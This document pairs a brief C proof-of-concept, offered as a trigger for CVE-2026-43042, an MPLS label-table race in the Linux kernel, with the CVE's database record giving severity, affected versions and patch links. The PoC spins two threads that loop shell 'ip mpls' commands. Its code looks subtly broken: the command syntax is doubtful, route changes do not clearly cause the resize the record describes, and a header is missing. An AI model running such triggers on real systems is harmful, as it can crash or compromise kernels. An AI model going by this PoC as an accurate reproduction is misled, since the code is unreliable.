CVE-2026-43042

/* * PoC for CVE-2026-43042 * Trigger race condition in MPLS label table resizing vs forwarding. */ #include <pthread.h> #include <unistd.h> #include <stdlib.h> // Thread 1: Continuously resize the MPLS label table void* trigger_resize(void* arg) { while(1) { // Simulate adding/removing labels to trigger resize system("ip mpls add label 1000 2>/dev/null"); system("ip mpls del label 1000 2>/dev/null"); } return NULL; } // Thread 2: Trigger forwarding/dumping (RCU read side) void* trigger_forward(void* arg) { while(1) { // Access the table to trigger the race system("ip mpls show 2>/dev/null"); } return NULL; } int main() { pthread_t t1, t2; printf("[+] Starting CVE-2026-43042 PoC...\n"); pthread_create(&t1, NULL, trigger_resize, NULL); pthread_create(&t2, NULL, trigger_forward, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

{"cve": {"id": "CVE-2026-43042", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:50.423", "lastModified": "2026-05-08T18:55:44.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmpls: add seqcount to protect the platform_label{,s} pair\n\nThe RCU-protected codepaths (mpls_forward, mpls_dump_routes) can have\nan inconsistent view of platform_labels vs platform_label in case of a\nconcurrent resize (resize_platform_label_table, under\nplatform_mutex). This can lead to OOB accesses.\n\nThis patch adds a seqcount, so that we get a consistent snapshot.\n\nNote that mpls_label_ok is also susceptible to this, so the check\nagainst RTA_DST in rtm_to_route_config, done outside platform_mutex,\nis not sufficient. This value gets passed to mpls_label_ok once more\nin both mpls_route_add and mpls_route_del, so there is no issue, but\nthat additional check must not be removed."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1", "versionEndExcluding": "6.19.12", "matchCriteriaId": "5C2AF2A8-8F82-43E6-B7A9-38999EF358EC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/5bb3caf0bbfb56f1a00d2af072ac3d8395a3b9ef", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/629ec78ef8608d955ce217880cdc3e1873af3a15", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}